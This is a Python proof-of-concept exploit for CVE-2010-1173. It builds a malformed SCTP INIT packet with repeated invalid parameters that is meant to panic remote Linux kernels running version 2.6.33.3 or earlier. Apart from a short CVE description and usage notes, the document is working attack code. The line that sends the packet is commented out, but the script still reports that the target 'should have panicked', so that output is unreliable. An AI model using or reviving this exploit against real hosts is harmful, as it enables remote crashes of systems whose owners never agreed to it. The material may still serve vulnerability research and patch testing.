Information:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173
The sctp_process_unk_param function in net/sctp/sm_make_chunk.c in the
Linux kernel 2.6.33.3 and earlier, when SCTP is enabled, allows remote
attackers to cause a denial of service (system crash) via an SCTPChunkInit
packet containing multiple invalid parameters that require a large amount
of error data.
Usage:
$ python sctp-boom.py 1.2.3.4 19000
[+] sending malformed SCTP INIT msg to 1.2.3.4:19000
...
[+] kernel should have panicked on remote host 1.2.3.4
Requirements:
* dnet: http://libdnet.sourceforge.net/
* dpkt: http://code.google.com/p/dpkt/
'''
import os, sys, socket
def err(txt):
print '[-] error: %s' % txt
sys.exit(1)
def msg(txt):
print '[+] %s' % txt
def usage():
print >> sys.stderr, 'usage: %s host port' % sys.argv[0]
sys.exit(1)
try:
import dpkt
except ImportError:
err('requires dpkt library: http://code.google.com/p/dpkt/')
try:
import dnet
except ImportError:
try:
import dumbnet as dnet
except ImportError:
err('requires dnet library: http://libdnet.sourceforge.net/')
def main():
if len(sys.argv) != 3:
usage()
host = sys.argv[1]
port = int(sys.argv[2])
try:
sock = dnet.ip()
intf = dnet.intf()
except OSError:
err('requires root privileges for raw socket access')
dst_addr = socket.gethostbyname(host)
interface = intf.get_dst(dnet.addr(dst_addr))
src_addr = interface['addr'].ip
msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))
invalid = ''
invalid += '\x20\x10\x11\x73'
invalid += '\x00\x00\xf4\x00'
invalid += '\x00\x05'
invalid += '\x00\x05'
invalid += '\x20\x10\x11\x73'
for i in xrange(20):
invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'
init = dpkt.sctp.Chunk()
init.type = dpkt.sctp.INIT
init.data = invalid
init.len = len(init)
sctp = dpkt.sctp.SCTP()
sctp.sport = 0x1173
sctp.dport = port
sctp.data = [ init ]
ip = dpkt.ip.IP()
ip.src = src_addr
ip.dst = dnet.ip_aton(dst_addr)
ip.p = dpkt.ip.IP_PROTO_SCTP
ip.data = sctp
ip.len = len(ip)
print `ip`
pkt = dnet.ip_checksum(str(ip))
#sock.send(pkt)
msg('kernel should have panicked on remote host %s' % (dst_addr))
if __name__ == '__main__':
main()
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